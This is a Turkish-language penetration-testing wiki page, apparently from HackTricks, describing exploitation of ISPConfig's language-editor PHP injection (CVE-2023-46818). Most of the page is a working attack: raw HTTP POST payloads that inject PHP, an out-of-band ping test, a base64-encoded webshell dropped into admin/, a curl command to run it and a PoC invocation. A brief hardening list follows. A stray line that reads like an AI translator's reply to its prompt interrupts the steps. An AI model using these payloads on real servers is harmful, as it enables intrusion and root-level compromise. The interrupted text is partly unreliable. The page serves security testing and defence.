ISPConfig

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

ISPConfig açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde, bozuk bir çeviri kaydı aracılığıyla rastgele PHP kodu enjekte edilmesine izin veren bir dil dosyası editörü özelliği içeriyordu. Bu, web sunucu bağlamında RCE'ye yol açabilir ve PHP'nin nasıl çalıştırıldığına bağlı olarak yetki yükseltme sağlayabilir.

Önemli varsayılan yollar:

  • Web root genellikle /var/www/ispconfig konumundadır; php -S ile veya Apache/nginx üzerinden servis edildiğinde.
  • Admin UI, HTTP(S) vhost üzerinde erişilebilir (bazen yalnızca localhost'a bağlıdır; gerekirse SSH port-forward kullanın).

İpucu: Eğer panel yerel olarak bağlıysa (ör. 127.0.0.1:8080), yönlendirin:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Etkilenen: ISPConfig 3.2.11'e kadar (3.2.11p1'de düzeltildi)
  • Önkoşullar:
  • Yerleşik superadmin hesabı admin olarak giriş yapın (sağlayıcıya göre diğer roller etkilenmez)
  • Language editor etkin olmalıdır: /usr/local/ispconfig/security/security_settings.ini içinde admin_allow_langedit=yes
  • Etki: Kimlik doğrulanmış admin, bir dil dosyasına yazılan ve uygulama tarafından çalıştırılan rastgele PHP enjekte edebilir; böylece web bağlamında RCE elde edilir

Referanslar: NVD girişi CVE-2023-46818 ve sağlayıcı uyarı bağlantısı aşağıdaki Referanslar bölümünde.

Manuel istismar akışı

  1. CSRF alanlarını elde etmek için bir dil dosyası açın/oluşturun

Formu başlatmak için ilk POST'u gönderin ve HTML yanıttan CSRF alanlarını (csrf_id, csrf_key) ayrıştırın. Örnek istek yolu: /admin/language_edit.php.

  1. Inject PHP via records[] and save

CSRF alanlarını ve kötü amaçlı bir çeviri kaydını içeren ikinci POST'u gönderin. Minimal komut yürütme denemeleri:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (ICMP'yi gözlemleyin):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Dosyalar oluşturun ve bir webshell bırakın

Web üzerinden erişilebilen bir yolun (örn. admin/) altına dosya oluşturmak için file_put_contents kullanın:

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Sonra POST gövdesindeki kötü karakterlerden kaçınmak için base64 kullanarak basit bir webshell yazın:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Çevirmemi istediğiniz dosya içeriğini buraya yapıştırın. Kod blokları, bağlantılar, path'ler ve belirtilen tag'ları (ör. {#tabs}, {#ref}, linkler) olduğu gibi bırakacağım; geri kalan İngilizce metni Türkçeye çevireceğim.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Eğer PHP root olarak çalıştırılıyorsa (ör. root tarafından başlatılan php -S 127.0.0.1:8080 ile), bu doğrudan root RCE sağlar. Aksi takdirde, web sunucusu kullanıcısı olarak kod çalıştırma elde edersiniz.

Python PoC

Kullanıma hazır bir exploit token yönetimini ve payload teslimatını otomatikleştirir:

Örnek çalışma:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Sertleştirme

  • 3.2.11p1 veya daha sonraki bir sürüme yükseltin
  • Dil düzenleyicisini yalnızca kesinlikle gerekli olmadıkça devre dışı bırakın:
admin_allow_langedit=no
  • Paneli root olarak çalıştırmaktan kaçının; PHP-FPM veya web sunucusunu ayrıcalıkları düşürecek şekilde yapılandırın
  • Yerleşik admin hesabı için güçlü kimlik doğrulamayı zorunlu kılın

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin